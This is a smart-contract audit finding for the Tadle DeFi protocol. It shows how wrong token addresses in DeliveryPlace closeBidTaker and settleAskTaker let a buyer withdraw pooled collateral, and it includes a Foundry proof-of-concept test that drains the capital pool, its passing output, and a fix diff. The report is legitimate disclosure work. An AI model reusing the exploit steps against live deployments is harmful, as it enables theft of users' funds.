Tadle

Tadle
DeFi
30,000 USDC
View results
Submission Details
Severity: high
Valid

Users can drain the protocol by withdrawing collateral instead of points due to invalid point token address in `DeliveryPlace::closeBidTaker(...)` and `DeliveryPlace::settleAskTaker(...)`

Summary

Tadle is a Pre-Market protocol that allows users to create offers for selling and/or buying point tokens in specific trading environments called marketplaces. When users finish their trading agendas, and when the marketplace reaches specific settlement conditions, sellers will settle the bought point tokens to the corresponding buyers. However, when settling the points, the receivers get actual collateral tokens accredited, instead of points, which can result in the whole protocol being drained, when these funds are withdrawn, as collateral tokens are usually represented by multiple point tokens.

Vulnerability Details

There are two types of flows in Tadle:

  1. Alice creates an ASK offer + BID stock, to sell x amount of points. Alice will also deposit a proper amount of ERC20 collateral token, based on the provided collateral rate to make the offer more lucrative. Bob sees this offer and decides to accept it. He will create a taker for Alice's offer, by creating a BID stock and depositing the required collateral for the points. After a certain amount of time (after TGE or similar), the marketplace will change its status to AskSettling and Bob will expect Alice to settle the points he has bought (if she does not, then Bob gets Alice's collateral). Alice will invoke DeliveryPlace::settleAskMaker(...) with her offer's address, which will debit the required point tokens from her account, and she will be accredited with the corresponding deposit made by Bob. Bob, on the other hand, will call DeliveryPlace::closeBidTaker(...) with the address of his BID stock and will be accredited with the promised tokens.

  2. Bob creates a BID offer + ASK stock, to buy x amount of points. Again, Bob will deposit collateral based on a set rate, to try and find a seller. Alice sees the offer and accepts it. She will create a taker, and will create an ASK stock, depositing collateral, so that Bob can be assured, that he won't be scammed if Alice does not have the required points. After a certain amount of time (after TGE or similar), the marketplace will change its status to AskSettling and Bob will expect Alice to settle her points to him. Alice will invoke DeliveryPlace::settleAskTaker(...) which will debit the point tokens from her account and will set it as available for withdrawal for Bob. He will then call DeliveryPlace::closeBidOffer(...) in case any points were not settled, to receive compensation.

However, both flows have serious flaws, as both DeliveryPlace::closeBidTaker(...) and DeliveryPlace::settleAskTaker(...) use the collateral token address when assigning the points revenue to the buyers, allowing them to withdraw the collateral token instead of the point token.

function closeBidTaker(address _stock) external {
__SNIP__
MarketPlaceInfo memory marketPlaceInfo = tadleFactory
.getSystemConfig()
.getMarketPlaceInfo(makerInfo.marketPlace);
tokenManager.addTokenBalance(
@> TokenBalanceType.PointToken, // PointToken balance is updated
_msgSender(),
@> makerInfo.tokenAddress, // Collateral token address
pointTokenAmount
);
__SNIP__
}
function settleAskTaker(address _stock, uint256 _settledPoints) external {
__SNIP__
uint256 settledPointTokenAmount = marketPlaceInfo.tokenPerPoint *
_settledPoints;
ITokenManager tokenManager = tadleFactory.getTokenManager();
if (settledPointTokenAmount > 0) {
tokenManager.tillIn(
_msgSender(),
marketPlaceInfo.tokenAddress,
settledPointTokenAmount,
true
);
tokenManager.addTokenBalance(
@> TokenBalanceType.PointToken, // Point token balance
offerInfo.authority,
@> makerInfo.tokenAddress, // collateral token address
settledPointTokenAmount
);
}
__SNIP__
}

The below PoC shows how the exploit can occur. I have fixed the PreMarkets.sol contract name as it was PreMarktes.For reference, I have added a helper function in TokenManager.sol:

function getUserAccountBalance(address _accountAddress, address _tokenAddress, TokenBalanceType _tokenBalanceType) external view returns (uint256) {
return userTokenBalanceMap[_accountAddress][_tokenAddress][_tokenBalanceType];
}

It can be run by adding the snippets in PreMarkets.t.sol and running forge test --mt testUserDrainsCollateral -vv. I am using the following setup for the tests:
\

PoC Set-up
function setUp() public {
// deploy mocks
weth9 = new WETH9();
TadleFactory tadleFactory = new TadleFactory(user1);
mockUSDCToken = new MockERC20Token();
mockPointToken = new MockERC20Token();
SystemConfig systemConfigLogic = new SystemConfig();
CapitalPool capitalPoolLogic = new CapitalPool();
TokenManager tokenManagerLogic = new TokenManager();
PreMarkets preMarketsLogic = new PreMarkets();
DeliveryPlace deliveryPlaceLogic = new DeliveryPlace();
bytes memory deploy_data = abi.encodeWithSelector(INITIALIZE_OWNERSHIP_SELECTOR, user1);
vm.startPrank(user1);
address systemConfigProxy =
tadleFactory.deployUpgradeableProxy(1, address(systemConfigLogic), bytes(deploy_data));
address preMarketsProxy = tadleFactory.deployUpgradeableProxy(2, address(preMarketsLogic), bytes(deploy_data));
address deliveryPlaceProxy =
tadleFactory.deployUpgradeableProxy(3, address(deliveryPlaceLogic), bytes(deploy_data));
address capitalPoolProxy = tadleFactory.deployUpgradeableProxy(4, address(capitalPoolLogic), bytes(deploy_data));
address tokenManagerProxy =
tadleFactory.deployUpgradeableProxy(5, address(tokenManagerLogic), bytes(deploy_data));
vm.stopPrank();
// attach logic
systemConfig = SystemConfig(systemConfigProxy);
capitalPool = CapitalPool(capitalPoolProxy);
tokenManager = TokenManager(tokenManagerProxy);
preMarkets = PreMarkets(preMarketsProxy);
deliveryPlace = DeliveryPlace(deliveryPlaceProxy);
vm.startPrank(user1);
// initialize
systemConfig.initialize(basePlatformFeeRate, baseReferralRate);
tokenManager.initialize(address(weth9));
address[] memory tokenAddressList = new address[](2);
tokenAddressList[0] = address(mockUSDCToken);
tokenAddressList[1] = address(weth9);
tokenManager.updateTokenWhiteListed(tokenAddressList, true);
// create market place
systemConfig.createMarketPlace("Backpack", false);
systemConfig.updateMarket("Backpack", address(mockUSDCToken), 0.01 * 1e18, block.timestamp - 1, 3600);
vm.stopPrank();
deal(address(mockUSDCToken), user, 10000 * 10 ** 18);
deal(address(mockPointToken), user, 10000 * 10 ** 18);
deal(user, 100 * 10 ** 18);
deal(address(mockUSDCToken), user1, 10000 * 10 ** 18);
deal(address(mockUSDCToken), user2, 10000 * 10 ** 18);
deal(address(mockUSDCToken), user3, 10000 * 10 ** 18);
deal(address(mockPointToken), user2, 10000 * 10 ** 18);
deal(address(mockPointToken), user3, 10000 * 10 ** 18);
marketPlace = GenerateAddress.generateMarketPlaceAddress("Backpack");
vm.warp(1719826275);
vm.prank(user);
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
vm.prank(user);
mockPointToken.approve(address(tokenManager), type(uint256).max);
vm.startPrank(user2);
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
mockPointToken.approve(address(tokenManager), type(uint256).max);
vm.stopPrank();
vm.startPrank(user3);
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
mockPointToken.approve(address(tokenManager), type(uint256).max);
vm.stopPrank();
capitalPool.approve(address(mockUSDCToken)); // I explicitly set the approval here as it is not working properly in the code; this is shown in my other issue
}
PoC
function testUserDrainsCollateral() public {
console.log("User token balance before all:", mockUSDCToken.balanceOf(user));
console.log("User point token balance before all:", mockPointToken.balanceOf(user));
console.log("User2 token balance before all:", mockUSDCToken.balanceOf(user2));
console.log("User2 point token balance before all:", mockPointToken.balanceOf(user2));
console.log("--------------------");
console.log("Capital pool balance before all:", mockUSDCToken.balanceOf(address(capitalPool)));
console.log("Capital pool point token balance before all:", mockPointToken.balanceOf(address(capitalPool)));
console.log("Token manager balance before all:", mockUSDCToken.balanceOf(address(tokenManager)));
console.log("Token manager point token balance before all:", mockPointToken.balanceOf(address(tokenManager)));
console.log("--------------------");
uint256 capitalPoolInitialBalance = mockUSDCToken.balanceOf(address(capitalPool));
uint256 user2InitialBalance = mockUSDCToken.balanceOf(user2);
assertEq(user2InitialBalance, 10000 * 10 ** 18);
assertEq(capitalPoolInitialBalance, 1000 * 10 ** 18);
vm.prank(user);
preMarkets.createOffer(
CreateOfferParams(
marketPlace, address(mockUSDCToken), 1000, 1e18, 10000, 300, OfferType.Ask, OfferSettleType.Turbo
)
); // user wants to sell 1000 points
address offerAddrUserTurbo = GenerateAddress.generateOfferAddress(0);
vm.prank(user2);
preMarkets.createTaker(offerAddrUserTurbo, 1000); // user2 buys the 1000 points from user
vm.prank(user1);
systemConfig.updateMarket("Backpack", address(mockPointToken), 1e18, block.timestamp - 1, 3600); // Market is updated and one collateral token is worth 1e18 points
vm.prank(user1);
systemConfig.updateMarketPlaceStatus("Backpack", MarketPlaceStatus.AskSettling);
vm.prank(user);
deliveryPlace.settleAskMaker(offerAddrUserTurbo, 1000); // User settles the points, points are debitted from user -> 1e21 points go into the delivery place
address stockAddrUser2Turbo = GenerateAddress.generateStockAddress(1);
vm.prank(user2);
deliveryPlace.closeBidTaker(stockAddrUser2Turbo); // User2 closes the bid, 1e21 collateral tokens are credited to user2 instead of points, points get stuch in delivery place
console.log("--------------------");
console.log(
"User2 tax income",
tokenManager.getUserAccountBalance(user2, address(mockUSDCToken), TokenBalanceType.TaxIncome)
);
console.log(
"User2 sales revenue",
tokenManager.getUserAccountBalance(user2, address(mockUSDCToken), TokenBalanceType.SalesRevenue)
);
console.log(
"User2 point token with collateral token address",
tokenManager.getUserAccountBalance(user2, address(mockUSDCToken), TokenBalanceType.PointToken)
);
console.log(
"User2 point token with point token address",
tokenManager.getUserAccountBalance(user2, address(mockPointToken), TokenBalanceType.PointToken)
);
console.log(
"User2 maker refund",
tokenManager.getUserAccountBalance(user2, address(mockUSDCToken), TokenBalanceType.MakerRefund)
);
console.log(
"User2 remianing cash",
tokenManager.getUserAccountBalance(user2, address(mockUSDCToken), TokenBalanceType.RemainingCash)
);
console.log("--------------------");
assertEq(tokenManager.getUserAccountBalance(user2, address(mockUSDCToken), TokenBalanceType.PointToken), 1e21);
assertEq(tokenManager.getUserAccountBalance(user2, address(mockPointToken), TokenBalanceType.PointToken), 0);
vm.startPrank(user);
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.TaxIncome);
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.SalesRevenue);
tokenManager.withdraw(address(mockPointToken), TokenBalanceType.PointToken);
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.MakerRefund);
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.RemainingCash);
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.PointToken);
vm.stopPrank();
vm.startPrank(user2);
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.TaxIncome);
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.SalesRevenue);
tokenManager.withdraw(address(mockPointToken), TokenBalanceType.PointToken);
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.MakerRefund);
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.RemainingCash);
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.PointToken);
vm.stopPrank();
console.log("User token balance after all:", mockUSDCToken.balanceOf(user));
console.log("User point token balance after all:", mockPointToken.balanceOf(user));
console.log("User2 token balance after all:", mockUSDCToken.balanceOf(user2));
console.log("User2 point token after all:", mockPointToken.balanceOf(user2));
console.log("--------------------");
console.log("Capital pool balance after all:", mockUSDCToken.balanceOf(address(capitalPool)));
console.log(
"Capital pool point token balance after all:", mockPointToken.balanceOf(address(capitalPool))
);
console.log("Token manager balance after all:", mockUSDCToken.balanceOf(address(tokenManager)));
console.log(
"Token manager point token balance after all:",
mockPointToken.balanceOf(address(tokenManager))
);
console.log("--------------------");
assertEq(mockUSDCToken.balanceOf(address(capitalPool)), 5e15); // Capital pool is left only with the platform tax
assertEq(mockPointToken.balanceOf(address(capitalPool)), 1e21); // Points are stuck in capital pool as they are not withdrawn
uint256 user2DepositAndFeeAmount = 1035000000000000000; // user2 paid to user + fees
assertEq(mockUSDCToken.balanceOf(address(user2)), capitalPoolInitialBalance + user2InitialBalance - user2DepositAndFeeAmount); // User 2 has all of the capital pool collateral balance - the deposit and fee paid to user + the platform fee
}
Ran 1 test for test/PreMarkets.t.sol:PreMarketsTest
[PASS] testUserDrainsCollateral() (gas: 1217610)
Logs:
User token balance before all: 10000000000000000000000
User point token balance before all: 10000000000000000000000
User2 token balance before all: 10000000000000000000000
User2 point token balance before all: 10000000000000000000000
--------------------
Capital pool balance before all: 1000000000000000000000
Capital pool point token balance before all: 0
Token manager balance before all: 0
Token manager point token balance before all: 0
--------------------
--------------------
User2 tax income 0
User2 sales revenue 0
User2 point token with collateral token address 1000000000000000000000
User2 point token with point token address 0
User2 maker refund 0
User2 remianing cash 0
--------------------
User token balance after all: 10001030000000000000000
User point token balance after all: 9000000000000000000000
User2 token balance after all: 10998965000000000000000
User2 point token after all: 10000000000000000000000
--------------------
Capital pool balance after all: 5000000000000000
Capital pool point token balance after all: 1000000000000000000000
Token manager balance after all: 0
Token manager point token balance after all: 0
--------------------
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 13.71ms (2.33ms CPU time)
Ran 1 test suite in 156.96ms (13.71ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

Impact

Users can withdraw all collateral funds from the protocol.

Tools Used

Manual review

Recommendations

Set the proper point token address, instead of the collateral token address in DeliveryPlace::closeBidTaker(...) and DeliveryPlace::settleAskTaker(...).

--- a/src/core/DeliveryPlace.sol
+++ b/src/core/DeliveryPlace.sol
@@ -192,10 +192,14 @@ contract DeliveryPlace is DeliveryPlaceStorage, Rescuable, IDeliveryPlace {
offerInfo.usedPoints,
Math.Rounding.Floor
);
+
+ MarketPlaceInfo memory marketPlaceInfo = tadleFactory
+ .getSystemConfig()
+ .getMarketPlaceInfo(makerInfo.marketPlace);
tokenManager.addTokenBalance(
TokenBalanceType.PointToken,
_msgSender(),
- makerInfo.tokenAddress,
+ marketPlaceInfo.tokenAddress,
pointTokenAmount
);
@@ -384,7 +388,7 @@ contract DeliveryPlace is DeliveryPlaceStorage, Rescuable, IDeliveryPlace {
tokenManager.addTokenBalance(
TokenBalanceType.PointToken,
offerInfo.authority,
- makerInfo.tokenAddress,
+ marketPlaceInfo.tokenAddress,
settledPointTokenAmount
);
}
Updates

Lead Judging Commences

0xnevi Lead Judge 10 months ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-DeliveryPlace-settleAskTaker-closeBidTaker-wrong-makerinfo-token-address-addToken-balance

Valid high severity, In `settleAskTaker/closeBidTaker`, by assigning collateral token to user balance instead of point token, if collateral token is worth more than point, this can cause stealing of other users collateral tokens within the CapitalPool contract, If the opposite occurs, user loses funds based on the points they are supposed to receive

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.